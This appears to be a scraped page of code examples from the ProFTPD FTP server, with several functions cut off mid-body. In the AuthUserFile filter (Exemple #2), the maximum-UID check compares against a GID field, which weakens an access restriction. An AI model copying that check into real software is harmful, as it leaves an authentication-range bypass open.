Exemple #1
0
MODRET site_chgrp(cmd_rec *cmd) {
  int res;
  gid_t gid;
  char *path = NULL, *tmp = NULL, *arg = "";
  struct stat st;
  register unsigned int i = 0;
#ifdef PR_USE_REGEX
  pr_regex_t *pre;
#endif

  if (cmd->argc < 3) {
    pr_response_add_err(R_500, _("'SITE %s' not understood"),
      _get_full_cmd(cmd));
    return NULL;
  }

  /* Construct the target file name by concatenating all the parameters after
   * the mode, separating them with spaces.
   */
  for (i = 2; i <= cmd->argc-1; i++) {
    char *decoded_path;

    decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[i],
      FSIO_DECODE_FL_TELL_ERRORS);
    if (decoded_path == NULL) {
      int xerrno = errno;

      pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s",
        (char *) cmd->argv[i], strerror(xerrno));
      pr_response_add_err(R_550,
        _("SITE %s: Illegal character sequence in command"),
        (char *) cmd->argv[1]);

      pr_cmd_set_errno(cmd, xerrno);
      errno = xerrno;
      return PR_ERROR(cmd);
    }

    arg = pstrcat(cmd->tmp_pool, arg, *arg ? " " : "", decoded_path, NULL);
  }

#ifdef PR_USE_REGEX
  pre = get_param_ptr(CURRENT_CONF, "PathAllowFilter", FALSE);
  if (pre != NULL &&
      pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) != 0) {
    pr_log_debug(DEBUG2, "'%s %s' denied by PathAllowFilter",
      (char *) cmd->argv[0], arg);
    pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg);

    pr_cmd_set_errno(cmd, EPERM);
    errno = EPERM;
    return PR_ERROR(cmd);
  }

  pre = get_param_ptr(CURRENT_CONF, "PathDenyFilter", FALSE);
  if (pre != NULL &&
      pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) == 0) {
    pr_log_debug(DEBUG2, "'%s %s' denied by PathDenyFilter",
      (char *) cmd->argv[0], arg);
    pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg);

    pr_cmd_set_errno(cmd, EPERM);
    errno = EPERM;
    return PR_ERROR(cmd);
  }
#endif

  if (pr_fsio_lstat(arg, &st) == 0) {
    if (S_ISLNK(st.st_mode)) {
      char link_path[PR_TUNABLE_PATH_MAX];
      int len;

      memset(link_path, '\0', sizeof(link_path));
      len = dir_readlink(cmd->tmp_pool, arg, link_path, sizeof(link_path)-1,
        PR_DIR_READLINK_FL_HANDLE_REL_PATH);
      if (len > 0) {
        link_path[len] = '\0';
        arg = pstrdup(cmd->tmp_pool, link_path);
      }
    }
  }

  path = dir_realpath(cmd->tmp_pool, arg);
  if (path == NULL) {
    int xerrno = errno;

    pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno));

    pr_cmd_set_errno(cmd, xerrno);
    errno = xerrno;
    return PR_ERROR(cmd);
  }

  /* Map the given group argument, if a string, to a GID.  If already a
   * number, pass through as is.
   */
  gid = strtoul(cmd->argv[1], &tmp, 10);

  if (tmp && *tmp) {

    /* Try the parameter as a group name. */
    gid = pr_auth_name2gid(cmd->tmp_pool, cmd->argv[1]);
    if (gid == (gid_t) -1) {
      int xerrno = EINVAL;

      pr_log_debug(DEBUG9,
        "SITE CHGRP: Unable to resolve group name '%s' to GID",
        (char *) cmd->argv[1]);
      pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno));

      pr_cmd_set_errno(cmd, xerrno);
      errno = xerrno;
      return PR_ERROR(cmd);
    }
  }

  res = core_chgrp(cmd, path, (uid_t) -1, gid);
  if (res < 0) {
    int xerrno = errno;

    (void) pr_trace_msg("fileperms", 1, "%s, user '%s' (UID %s, GID %s): "
      "error chown'ing '%s' to GID %s: %s", (char *) cmd->argv[0], session.user,
      pr_uid2str(cmd->tmp_pool, session.uid),
      pr_gid2str(cmd->tmp_pool, session.gid), path,
      pr_gid2str(cmd->tmp_pool, gid), strerror(xerrno));

    pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno));

    pr_cmd_set_errno(cmd, xerrno);
    errno = xerrno;
    return PR_ERROR(cmd);
  }

  pr_response_add(R_200, _("SITE %s command successful"),
    (char *) cmd->argv[0]);
  return PR_HANDLED(cmd);
}
Exemple #2
0
static int af_allow_pwent(pool *p, struct passwd *pwd) {
  if (af_user_file == NULL) {
    errno = EPERM;
    return -1;
  }

  /* Check that the pwent is within the ID restrictions (if present). */
  if (af_user_file->af_restricted_ids) {

    if (pwd->pw_uid < af_user_file->af_min_id.uid) {
      pr_log_debug(DEBUG3, MOD_AUTH_FILE_VERSION ": skipping user '%s': "
        "UID %s below the minimum allowed (%s)", pwd->pw_name,
        pr_uid2str(p, pwd->pw_uid),
        pr_uid2str(p, af_user_file->af_min_id.uid));
      errno = EINVAL;
      return -1;
    }

    if (pwd->pw_uid > af_user_file->af_max_id.gid) {
      pr_log_debug(DEBUG3, MOD_AUTH_FILE_VERSION ": skipping user '%s': "
        "UID %s above the maximum allowed (%s)", pwd->pw_name,
        pr_uid2str(p, pwd->pw_uid),
        pr_uid2str(p, af_user_file->af_max_id.uid));
      errno = EINVAL;
      return -1;
    }
  }

#ifdef PR_USE_REGEX
  /* Check if the pwent has an acceptable name. */
  if (af_user_file->af_restricted_names) {
    int res;

    res = pr_regexp_exec(af_user_file->af_name_regex, pwd->pw_name, 0, NULL,
      0, 0, 0);

    if ((res != 0 && !af_user_file->af_name_regex_inverted) ||
        (res == 0 && af_user_file->af_name_regex_inverted)) {
      pr_log_debug(DEBUG3, MOD_AUTH_FILE_VERSION ": skipping user '%s': "
        "name '%s' does not meet allowed filter '%s'", pwd->pw_name,
        pwd->pw_name, af_user_file->af_name_filter);
      errno = EINVAL;
      return -1;
    }
  }

  /* Check if the pwent has an acceptable home directory. */
  if (af_user_file->af_restricted_homes) {
    int res;

    res = pr_regexp_exec(af_user_file->af_home_regex, pwd->pw_dir, 0, NULL,
      0, 0, 0);

    if ((res != 0 && !af_user_file->af_home_regex_inverted) ||
        (res == 0 && af_user_file->af_home_regex_inverted)) {
      pr_log_debug(DEBUG3, MOD_AUTH_FILE_VERSION ": skipping user '%s': "
        "home '%s' does not meet allowed filter '%s'", pwd->pw_name,
        pwd->pw_dir, af_user_file->af_home_filter);
      errno = EINVAL;
      return -1;
    }
  }
#endif /* regex support */

  return 0;
}
Exemple #3
0
void pr_session_send_banner(server_rec *s, int flags) {
  config_rec *c = NULL;
  char *display = NULL;
  const char *serveraddress = NULL;
  config_rec *masq = NULL;

  display = get_param_ptr(s->conf, "DisplayConnect", FALSE);
  if (display != NULL) {
    if (pr_display_file(display, NULL, R_220, flags) < 0) {
      pr_log_debug(DEBUG6, "unable to display DisplayConnect file '%s': %s",
        display, strerror(errno));
    }
  }

  serveraddress = pr_netaddr_get_ipstr(session.c->local_addr);

  masq = find_config(s->conf, CONF_PARAM, "MasqueradeAddress", FALSE);
  if (masq != NULL) {
    pr_netaddr_t *masq_addr = (pr_netaddr_t *) masq->argv[0];
    serveraddress = pr_netaddr_get_ipstr(masq_addr);
  }

  c = find_config(s->conf, CONF_PARAM, "ServerIdent", FALSE);
  if (c == NULL ||
      *((unsigned char *) c->argv[0]) == TRUE) {
    unsigned char *defer_welcome;

    defer_welcome = get_param_ptr(s->conf, "DeferWelcome", FALSE);

    if (c &&
        c->argc > 1) {
      char *server_ident = c->argv[1];

      if (strstr(server_ident, "%L") != NULL) {
        server_ident = sreplace(session.pool, server_ident, "%L",
          serveraddress, NULL);
      }

      if (strstr(server_ident, "%V") != NULL) {
        server_ident = sreplace(session.pool, server_ident, "%V",
          main_server->ServerFQDN, NULL);
      }

      if (strstr(server_ident, "%v") != NULL) {
        server_ident = sreplace(session.pool, server_ident, "%v",
          main_server->ServerName, NULL);
      }

      if (flags & PR_DISPLAY_FL_SEND_NOW) {
        pr_response_send(R_220, "%s", server_ident);

      } else {
        pr_response_add(R_220, "%s", server_ident);
      }

    } else if (defer_welcome &&
               *defer_welcome == TRUE) {

      if (flags & PR_DISPLAY_FL_SEND_NOW) {
        pr_response_send(R_220, "ProFTPD " PROFTPD_VERSION_TEXT
          " Server ready.");

      } else {
        pr_response_add(R_220, "ProFTPD " PROFTPD_VERSION_TEXT
          " Server ready.");
      }

    } else {
      if (flags & PR_DISPLAY_FL_SEND_NOW) {
        pr_response_send(R_220, "ProFTPD " PROFTPD_VERSION_TEXT
          " Server (%s) [%s]", s->ServerName, serveraddress);

      } else {
        pr_response_add(R_220, "ProFTPD " PROFTPD_VERSION_TEXT
          " Server (%s) [%s]", s->ServerName, serveraddress);
      }
    }

  } else {
    if (flags & PR_DISPLAY_FL_SEND_NOW) {
      pr_response_send(R_220, _("%s FTP server ready"), serveraddress);

    } else {
      pr_response_add(R_220, _("%s FTP server ready"), serveraddress);
    }
  }
}
Exemple #4
0
static int display_fh(pr_fh_t *fh, const char *fs, const char *code,
    int flags) {
  struct stat st;
  char buf[PR_TUNABLE_BUFFER_SIZE] = {'\0'};
  int len, res;
  unsigned int *current_clients = NULL;
  unsigned int *max_clients = NULL;
  off_t fs_size = 0;
  pool *p;
  void *v;
  xaset_t *s;
  config_rec *c = NULL;
  const char *serverfqdn = main_server->ServerFQDN;
  char *outs, mg_size[12] = {'\0'}, mg_size_units[12] = {'\0'},
    mg_max[12] = "unlimited";
  char total_files_in[12] = {'\0'}, total_files_out[12] = {'\0'},
    total_files_xfer[12] = {'\0'};
  char mg_class_limit[12] = {'\0'}, mg_cur[12] = {'\0'},
    mg_xfer_bytes[12] = {'\0'}, mg_cur_class[12] = {'\0'};
  char mg_xfer_units[12] = {'\0'}, *user;
  const char *mg_time;
  char *rfc1413_ident = NULL;

  /* Stat the opened file to determine the optimal buffer size for IO. */
  memset(&st, 0, sizeof(st));
  if (pr_fsio_fstat(fh, &st) == 0) {
    fh->fh_iosz = st.st_blksize;
  }

  /* Note: The size provided by pr_fs_getsize() is in KB, not bytes. */
  res = pr_fs_fgetsize(fh->fh_fd, &fs_size);
  if (res < 0 &&
      errno != ENOSYS) {
    (void) pr_log_debug(DEBUG7, "error getting filesystem size for '%s': %s",
      fh->fh_path, strerror(errno));
    fs_size = 0;
  }

  snprintf(mg_size, sizeof(mg_size), "%" PR_LU, (pr_off_t) fs_size);
  format_size_str(mg_size_units, sizeof(mg_size_units), fs_size);

  p = make_sub_pool(session.pool);
  pr_pool_tag(p, "Display Pool");

  s = (session.anon_config ? session.anon_config->subset : main_server->conf);

  mg_time = pr_strtime(time(NULL));

  max_clients = get_param_ptr(s, "MaxClients", FALSE);

  v = pr_table_get(session.notes, "client-count", NULL);
  if (v) {
    current_clients = v;
  }

  snprintf(mg_cur, sizeof(mg_cur), "%u", current_clients ? *current_clients: 1);

  if (session.conn_class != NULL &&
      session.conn_class->cls_name != NULL) {
    unsigned int *class_clients = NULL;
    config_rec *maxc = NULL;
    unsigned int maxclients = 0;

    v = pr_table_get(session.notes, "class-client-count", NULL);
    if (v) {
      class_clients = v;
    }

    snprintf(mg_cur_class, sizeof(mg_cur_class), "%u",
      class_clients ? *class_clients : 0);

    /* For the %z variable, first we scan through the MaxClientsPerClass,
     * and use the first applicable one.  If none are found, look for
     * any MaxClients set.
     */

    maxc = find_config(main_server->conf, CONF_PARAM, "MaxClientsPerClass",
      FALSE);

    while (maxc) {
      pr_signals_handle();

      if (strcmp(maxc->argv[0], session.conn_class->cls_name) != 0) {
        maxc = find_config_next(maxc, maxc->next, CONF_PARAM,
          "MaxClientsPerClass", FALSE);
        continue;
      }

      maxclients = *((unsigned int *) maxc->argv[1]);
      break;
    }

    if (maxclients == 0) {
      maxc = find_config(main_server->conf, CONF_PARAM, "MaxClients", FALSE);

      if (maxc)
        maxclients = *((unsigned int *) maxc->argv[0]);
    }

    snprintf(mg_class_limit, sizeof(mg_class_limit), "%u", maxclients);

  } else {
    snprintf(mg_class_limit, sizeof(mg_class_limit), "%u",
      max_clients ? *max_clients : 0);
    snprintf(mg_cur_class, sizeof(mg_cur_class), "%u", 0);
  }

  snprintf(mg_xfer_bytes, sizeof(mg_xfer_bytes), "%" PR_LU,
    (pr_off_t) session.total_bytes >> 10);
  snprintf(mg_xfer_units, sizeof(mg_xfer_units), "%" PR_LU "B",
    (pr_off_t) session.total_bytes);

  if (session.total_bytes >= 10240) {
    snprintf(mg_xfer_units, sizeof(mg_xfer_units), "%" PR_LU "kB",
      (pr_off_t) session.total_bytes >> 10);

  } else if ((session.total_bytes >> 10) >= 10240) {
Exemple #5
0
/* Per Bug#4171, if we see EINVAL (or EPERM, as documented in same man pages),
 * check the /proc/sys/crypto/fips_enabled setting and the salt string, to see
 * if an unsupported algorithm in FIPS mode, e.g. DES or MD5, was used to
 * generate this salt string.
 *
 * There's not much we can do at this point other than log a message for the
 * admin that this is the case, and let them know how to fix things (if they
 * can).  Ultimately this breakage comes from those kind folks distributing
 * glibc.  Sigh.
 */
static void check_unsupported_algo(const char *user,
    const char *ciphertxt_pass, size_t ciphertxt_passlen) {
  FILE *fp = NULL;
  char fips_enabled[256];
  size_t len = 0, sz = 0;

  /* First, read in /proc/sys/crypto/fips_enabled. */
  fp = fopen("/proc/sys/crypto/fips_enabled", "r");
  if (fp == NULL) {
    pr_trace_msg(trace_channel, 4,
      "unable to open /proc/sys/crypto/fips_enabled: %s", strerror(errno));
    return;
  }

  memset(fips_enabled, '\0', sizeof(fips_enabled));
  sz = sizeof(fips_enabled)-1;
  len = fread(fips_enabled, 1, sz, fp);
  if (len == 0) {
    if (feof(fp)) {
      /* An empty /proc/sys/crypto/fips_enabled?  Weird. */
      pr_trace_msg(trace_channel, 4,
        "/proc/sys/crypto/fips_enabled is unexpectedly empty!");

    } else if (ferror(fp)) {
      pr_trace_msg(trace_channel, 4,
        "error reading /proc/sys/crypto/fips_enabled: %s", strerror(errno));
    }

    fclose(fp);
    return;
  }

  fclose(fp);

  /* Trim any newline. */
  if (fips_enabled[len-1] == '\n') {
    fips_enabled[len-1] = '\0';
  }

  if (strcmp(fips_enabled, "0") != 0) {
    /* FIPS mode enabled on this system.  If our salt string doesn't start
     * with a '$', it uses DES; if it starts wit '$1$', it uses MD5.  Either
     * way, on a FIPS-enabled system, those algorithms aren't supported.
     */
    if (ciphertxt_pass[0] != '$') {
      /* DES */
      pr_log_pri(PR_LOG_ERR, MOD_AUTH_FILE_VERSION
        ": AuthUserFile entry for user '%s' uses DES, which is not supported "
        "on a FIPS-enabled system (see /proc/sys/crypto/fips_enabled)", user);
      pr_log_pri(PR_LOG_ERR, MOD_AUTH_FILE_VERSION
        ": recommend updating user '%s' entry to use SHA256/SHA512 "
        "(using ftpasswd --sha256/--sha512)", user);

    } else if (ciphertxt_passlen >= 3 &&
               strncmp(ciphertxt_pass, "$1$", 3) == 0) {
      /* MD5 */
      pr_log_pri(PR_LOG_ERR, MOD_AUTH_FILE_VERSION
        ": AuthUserFile entry for user '%s' uses MD5, which is not supported "
        "on a FIPS-enabled system (see /proc/sys/crypto/fips_enabled)", user);
      pr_log_pri(PR_LOG_ERR, MOD_AUTH_FILE_VERSION
        ": recommend updating user '%s' entry to use SHA256/SHA512 "
        "(using ftpasswd --sha256/--sha512)", user);

    } else {
      pr_log_debug(DEBUG0, MOD_AUTH_FILE_VERSION
        ": possible illegal salt characters in AuthUserFile entry "
        "for user '%s'?", user);
    }

  } else {
    /* The only other time crypt(3) would return EINVAL/EPERM, on a system
     * with procfs, is if the salt characters were illegal.  Right?
     */
    pr_log_debug(DEBUG0, MOD_AUTH_FILE_VERSION
      ": possible illegal salt characters in AuthUserFile entry for "
      "user '%s'?", user);
  }
}
Exemple #6
0
static int data_active_open(char *reason, off_t size) {
  conn_t *c;
  int rev;
  pr_netaddr_t *bind_addr;

  if (!reason && session.xfer.filename)
    reason = session.xfer.filename;

  if (pr_netaddr_get_family(session.c->local_addr) == pr_netaddr_get_family(session.c->remote_addr)) {
    bind_addr = session.c->local_addr;

  } else {
    /* In this scenario, the server has an IPv6 socket, but the remote client
     * is an IPv4 (or IPv4-mapped IPv6) peer.
     */
    bind_addr = pr_netaddr_v6tov4(session.xfer.p, session.c->local_addr);
  }

  session.d = pr_inet_create_conn(session.pool, -1, bind_addr,
    session.c->local_port-1, TRUE);

  /* Set the "stalled" timer, if any, to prevent the connection
   * open from taking too long
   */
  if (timeout_stalled) {
    pr_timer_add(timeout_stalled, PR_TIMER_STALLED, NULL, stalled_timeout_cb,
      "TimeoutStalled");
  }

  rev = pr_netaddr_set_reverse_dns(ServerUseReverseDNS);

  /* Protocol and socket options should be set before handshaking. */

  if (session.xfer.direction == PR_NETIO_IO_RD) {
    pr_inet_set_socket_opts(session.d->pool, session.d,
      (main_server->tcp_rcvbuf_override ? main_server->tcp_rcvbuf_len : 0), 0);
    
  } else {
    pr_inet_set_socket_opts(session.d->pool, session.d,
      0, (main_server->tcp_sndbuf_override ? main_server->tcp_sndbuf_len : 0));
  }

  /* Make sure that the necessary socket options are set on the socket prior
   * to the call to connect(2).
   */
  pr_inet_set_proto_opts(session.pool, session.d, main_server->tcp_mss_len, 0,
    IPTOS_THROUGHPUT, 1);
  pr_inet_generate_socket_event("core.data-connect", main_server,
    session.d->local_addr, session.d->listen_fd);

  if (pr_inet_connect(session.d->pool, session.d, &session.data_addr,
      session.data_port) == -1) {
    pr_response_add_err(R_425, _("Unable to build data connection: %s"),
      strerror(session.d->xerrno));
    destroy_pool(session.d->pool);
    session.d = NULL;
    return -1;
  }

  c = pr_inet_openrw(session.pool, session.d, NULL, PR_NETIO_STRM_DATA,
    session.d->listen_fd, -1, -1, TRUE);

  pr_netaddr_set_reverse_dns(rev);

  if (c) {
    pr_log_debug(DEBUG4, "active data connection opened - local  : %s:%d",
      pr_netaddr_get_ipstr(session.d->local_addr), session.d->local_port);
    pr_log_debug(DEBUG4, "active data connection opened - remote : %s:%d",
      pr_netaddr_get_ipstr(session.d->remote_addr), session.d->remote_port);

    if (session.xfer.xfer_type != STOR_UNIQUE) {
      if (size)
        pr_response_send(R_150, _("Opening %s mode data connection for %s "
          "(%" PR_LU " bytes)"), MODE_STRING, reason, (pr_off_t) size);
      else
        pr_response_send(R_150, _("Opening %s mode data connection for %s"),
          MODE_STRING, reason);

    } else {

      /* Format of 150 responses for STOU is explicitly dictated by
       * RFC 1123:
       *
       *  4.1.2.9  STOU Command: RFC-959 Section 4.1.3
       *
       *    The STOU command stores into a uniquely named file.  When it
       *    receives an STOU command, a Server-FTP MUST return the
       *    actual file name in the "125 Transfer Starting" or the "150
       *    Opening Data Connection" message that precedes the transfer
       *    (the 250 reply code mentioned in RFC-959 is incorrect).  The
       *    exact format of these messages is hereby defined to be as
       *    follows:
       *
       *        125 FILE: pppp
       *        150 FILE: pppp
       *
       *    where pppp represents the unique pathname of the file that
       *    will be written.
       */
      pr_response_send(R_150, "FILE: %s", reason);
    }

    pr_inet_close(session.pool, session.d);
    pr_inet_set_nonblock(session.pool, session.d);
    session.d = c;
    return 0;
  }

  pr_response_add_err(R_425, _("Unable to build data connection: %s"),
    strerror(session.d->xerrno));
  destroy_pool(session.d->pool);
  session.d = NULL;
  return -1;
}
Exemple #7
0
server_rec *pr_ipbind_get_server(const pr_netaddr_t *addr, unsigned int port) {
  pr_ipbind_t *ipbind = NULL;
  pr_netaddr_t wildcard_addr;
  int addr_family;
  unsigned int match_count = 0;

  /* If we've got a binding configured for this exact address, return it
   * straightaway.
   */
  ipbind = pr_ipbind_find(addr, port, TRUE);
  if (ipbind != NULL) {
    return ipbind->ib_server;
  }

  /* Look for a vhost bound to the wildcard address (i.e. INADDR_ANY).
   *
   * This allows for "<VirtualHost 0.0.0.0>" configurations, where the
   * IP address to which the client might connect is not known at
   * configuration time.  (Usually happens when the same config file
   * is deployed to multiple machines.)
   */

  addr_family = pr_netaddr_get_family(addr);

  pr_netaddr_clear(&wildcard_addr);
  pr_netaddr_set_family(&wildcard_addr, addr_family);
  pr_netaddr_set_sockaddr_any(&wildcard_addr);

  ipbind = pr_ipbind_find(&wildcard_addr, port, TRUE);
  if (ipbind != NULL) {
    pr_log_debug(DEBUG7, "no matching vhost found for %s#%u, using "
      "'%s' listening on wildcard address", pr_netaddr_get_ipstr(addr), port,
      ipbind->ib_server->ServerName);
    return ipbind->ib_server;

  } else {
#ifdef PR_USE_IPV6
    if (addr_family == AF_INET6 &&
        pr_netaddr_use_ipv6()) {

      /* The pr_ipbind_find() probably returned NULL because there aren't any
       * <VirtualHost> sections configured explicitly for the wildcard IPv6
       * address of "::", just the IPv4 wildcard "0.0.0.0" address.
       *
       * So try the pr_ipbind_find() again, this time using the IPv4
       * wildcard.
       */
      pr_netaddr_clear(&wildcard_addr);
      pr_netaddr_set_family(&wildcard_addr, AF_INET);
      pr_netaddr_set_sockaddr_any(&wildcard_addr);

      ipbind = pr_ipbind_find(&wildcard_addr, port, TRUE);
      if (ipbind != NULL) {
        pr_log_debug(DEBUG7, "no matching vhost found for %s#%u, using "
          "'%s' listening on wildcard address", pr_netaddr_get_ipstr(addr),
          port, ipbind->ib_server->ServerName);
        return ipbind->ib_server;
      }
    }
#endif /* PR_USE_IPV6 */
  }

  /* Check for any bindings that match the port.  IF there is only one ONE
   * vhost which matches the requested port, use that (Bug#4251).
   */
  ipbind = ipbind_find_port(port, TRUE, &match_count);
  if (ipbind != NULL) {
    pr_trace_msg(trace_channel, 18, "found %u possible %s for port %u",
      match_count, match_count != 1 ? "ipbinds" : "ipbind", port);
    if (match_count == 1) {
      return ipbind->ib_server;
    }
  }

  /* Use the default server, if set. */
  if (ipbind_default_server &&
      ipbind_default_server->ib_isactive) {
    pr_log_debug(DEBUG7, "no matching vhost found for %s#%u, using "
      "DefaultServer '%s'", pr_netaddr_get_ipstr(addr), port,
      ipbind_default_server->ib_server->ServerName);
    return ipbind_default_server->ib_server;
  }

  /* Not found in binding list, and no DefaultServer, so see if it's the
   * loopback address
   */
  if (ipbind_localhost_server &&
      pr_netaddr_is_loopback(addr)) {
    return ipbind_localhost_server->ib_server;
  }

  return NULL;
}
Exemple #8
0
int pr_log_openfile(const char *log_file, int *log_fd, mode_t log_mode) {
  int res;
  pool *tmp_pool = NULL;
  char *ptr = NULL, *lf;
  unsigned char have_stat = FALSE, *allow_log_symlinks = NULL;
  struct stat st;

  /* Sanity check */
  if (log_file == NULL ||
      log_fd == NULL) {
    errno = EINVAL;
    return -1;
  }

  /* Make a temporary copy of log_file in case it's a constant */
  tmp_pool = make_sub_pool(permanent_pool);
  pr_pool_tag(tmp_pool, "log_openfile() tmp pool");
  lf = pstrdup(tmp_pool, log_file);

  ptr = strrchr(lf, '/');
  if (ptr == NULL) {
    pr_log_debug(DEBUG0, "inappropriate log file: %s", lf);
    destroy_pool(tmp_pool);

    errno = EINVAL;
    return -1;
  }

  /* Set the path separator to zero, in order to obtain the directory
   * name, so that checks of the directory may be made.
   */
  if (ptr != lf) {
    *ptr = '\0';
  }

  if (stat(lf, &st) < 0) {
    int xerrno = errno;
    pr_log_debug(DEBUG0, "error: unable to stat() %s: %s", lf,
      strerror(errno));
    destroy_pool(tmp_pool);

    errno = xerrno;
    return -1;
  }

  /* The path must be in a valid directory */
  if (!S_ISDIR(st.st_mode)) {
    pr_log_debug(DEBUG0, "error: %s is not a directory", lf);
    destroy_pool(tmp_pool);

    errno = ENOTDIR;
    return -1;
  }

  /* Do not log to world-writable directories */
  if (st.st_mode & S_IWOTH) {
    pr_log_pri(PR_LOG_NOTICE, "error: %s is a world-writable directory", lf);
    destroy_pool(tmp_pool);
    return PR_LOG_WRITABLE_DIR;
  }

  /* Restore the path separator so that checks on the file itself may be
   * done.
   */
  if (ptr != lf) {
    *ptr = '/';
  }

  allow_log_symlinks = get_param_ptr(main_server->conf, "AllowLogSymlinks",
    FALSE);

  if (allow_log_symlinks == NULL ||
      *allow_log_symlinks == FALSE) {
    int flags = O_APPEND|O_CREAT|O_WRONLY;

#ifdef PR_USE_NONBLOCKING_LOG_OPEN
    /* Use the O_NONBLOCK flag when opening log files, as they might be
     * FIFOs whose other end is not currently running; we do not want to
     * block indefinitely in such cases.
     */
    flags |= O_NONBLOCK;
#endif /* PR_USE_NONBLOCKING_LOG_OPEN */

#ifdef O_NOFOLLOW
    /* On systems that support the O_NOFOLLOW flag (e.g. Linux and FreeBSD),
     * use it so that the path being opened, if it is a symlink, is not
     * followed.
     */
    flags |= O_NOFOLLOW;

#elif defined(SOLARIS2)
    /* Solaris doesn't support the O_NOFOLLOW flag.  Instead, in their
     * wisdom (hah!), Solaris decided that if the given path is a symlink
     * and the flags O_CREAT and O_EXCL are set, the link is not followed.
     * Right.  The problem here is the case where the path is not a symlink;
     * using O_CREAT|O_EXCL will then cause the open() to fail if the
     * file already exists.
     */
    flags |= O_EXCL;
#endif /* O_NOFOLLOW or SOLARIS2 */

    *log_fd = open(lf, flags, log_mode);
    if (*log_fd < 0) {

      if (errno != EEXIST) {
        destroy_pool(tmp_pool);

        /* More portability fun: Linux likes to report ELOOP if O_NOFOLLOW
         * is used to open a symlink file; FreeBSD likes to return EMLINK.
         * Both would lead to rather misleading error messages being
         * logged.  Catch these errnos, and return the value that properly
         * informs the caller that the given path was an illegal symlink.
         */

        switch (errno) {
#ifdef ELOOP
          case ELOOP:
            return PR_LOG_SYMLINK;
#endif /* ELOOP */

#ifdef EMLINK
          case EMLINK:
            return PR_LOG_SYMLINK;
#endif /* EMLINK */
        }

        return -1;

      } else {
#if defined(SOLARIS2)
        /* On Solaris, because of the stupid multiplexing of O_CREAT and
         * O_EXCL to get open() not to follow a symlink, it's possible that
         * the path already exists.  Now, we'll try to open() without
         * O_EXCL, then lstat() the path to see if this pre-existing file is
         * a symlink or a regular file.
         *
         * Note that because this check cannot be done atomically on Solaris,
         * the possibility of a race condition/symlink attack still exists.
         * Solaris doesn't provide a good way around this situation.
         */
        flags &= ~O_EXCL;

        *log_fd = open(lf, flags, log_mode);
        if (*log_fd < 0) {
          destroy_pool(tmp_pool);
          return -1;
        }

        /* The race condition on Solaris is here, between the open() call
         * above and the lstat() call below...
         */

        if (lstat(lf, &st) != -1)
          have_stat = TRUE;
#else
        destroy_pool(tmp_pool);
        return -1;
#endif /* SOLARIS2 */
      }
    }

    /* Stat the file using the descriptor, not the path */
    if (!have_stat &&
        fstat(*log_fd, &st) != -1) {
      have_stat = TRUE;
    }

    if (!have_stat ||
        S_ISLNK(st.st_mode)) {
      pr_log_debug(DEBUG0, !have_stat ? "error: unable to stat %s" :
        "error: %s is a symbolic link", lf);

      close(*log_fd);
      *log_fd = -1;
      destroy_pool(tmp_pool);
      return PR_LOG_SYMLINK;
    }

  } else {
    int flags = O_CREAT|O_APPEND|O_WRONLY;

#ifdef PR_USE_NONBLOCKING_LOG_OPEN
    /* Use the O_NONBLOCK flag when opening log files, as they might be
     * FIFOs whose other end is not currently running; we do not want to
     * block indefinitely in such cases.
     */
    flags |= O_NONBLOCK;
#endif /* PR_USE_NONBLOCKING_LOG_OPEN */

    *log_fd = open(lf, flags, log_mode);
    if (*log_fd < 0) {
      int xerrno = errno;

      destroy_pool(tmp_pool);
      errno = xerrno;
      return -1;
    }
  }

  /* Make sure we're dealing with an expected file type (i.e. NOT a
   * directory).
   */
  if (fstat(*log_fd, &st) < 0) {
    int xerrno = errno;

    pr_log_debug(DEBUG0, "error: unable to stat %s (fd %d): %s", lf, *log_fd,
      strerror(xerrno));

    close(*log_fd);
    *log_fd = -1;
    destroy_pool(tmp_pool);

    errno = xerrno;
    return -1;
  }

  if (S_ISDIR(st.st_mode)) {
    int xerrno = EISDIR;

    pr_log_debug(DEBUG0, "error: unable to use %s: %s", lf, strerror(xerrno));

    close(*log_fd);
    *log_fd = -1;
    destroy_pool(tmp_pool);

    errno = xerrno;
    return -1;
  }

  /* Find a usable fd for the just-opened log fd. */
  if (*log_fd <= STDERR_FILENO) {
    res = pr_fs_get_usable_fd(*log_fd);
    if (res < 0) {
      pr_log_debug(DEBUG0, "warning: unable to find good fd for logfd %d: %s",
        *log_fd, strerror(errno));

    } else {
      close(*log_fd);
      *log_fd = res;
    }
  }

  if (fcntl(*log_fd, F_SETFD, FD_CLOEXEC) < 0) {
    pr_log_pri(PR_LOG_WARNING, "unable to set CLO_EXEC on log fd %d: %s",
      *log_fd, strerror(errno));
  }

#ifdef PR_USE_NONBLOCKING_LOG_OPEN
  /* Return the fd to blocking mode. */
  (void) fd_set_block(*log_fd);
#endif /* PR_USE_NONBLOCKING_LOG_OPEN */

  destroy_pool(tmp_pool);
  return 0;
}
Exemple #9
0
static int copy_dir(pool *p, const char *src_dir, const char *dst_dir) {
  DIR *dh = NULL;
  struct dirent *dent = NULL;
  int res = 0;
  pool *iter_pool = NULL;

  dh = opendir(src_dir);
  if (dh == NULL) {
    pr_log_pri(PR_LOG_WARNING, MOD_COPY_VERSION
      ": error reading directory '%s': %s", src_dir, strerror(errno));
    return -1;
  }

  while ((dent = readdir(dh)) != NULL) {
    struct stat st;
    char *src_path, *dst_path;

    pr_signals_handle();

    /* Skip "." and ".." */
    if (strncmp(dent->d_name, ".", 2) == 0 ||
        strncmp(dent->d_name, "..", 3) == 0) {
      continue;
    }

    if (iter_pool != NULL) {
      destroy_pool(iter_pool);
    }

    iter_pool = pr_pool_create_sz(p, 128);
    src_path = pdircat(iter_pool, src_dir, dent->d_name, NULL);
    dst_path = pdircat(iter_pool, dst_dir, dent->d_name, NULL);

    if (pr_fsio_lstat(src_path, &st) < 0) {
      pr_log_debug(DEBUG3, MOD_COPY_VERSION
        ": unable to stat '%s' (%s), skipping", src_path, strerror(errno));
      continue;
    }

    /* Is this path to a directory? */
    if (S_ISDIR(st.st_mode)) {
      if (create_path(iter_pool, dst_path) < 0) {
        res = -1;
        break;
      }

      if (copy_dir(iter_pool, src_path, dst_path) < 0) {
        res = -1;
        break;
      }
      continue;

    /* Is this path to a regular file? */
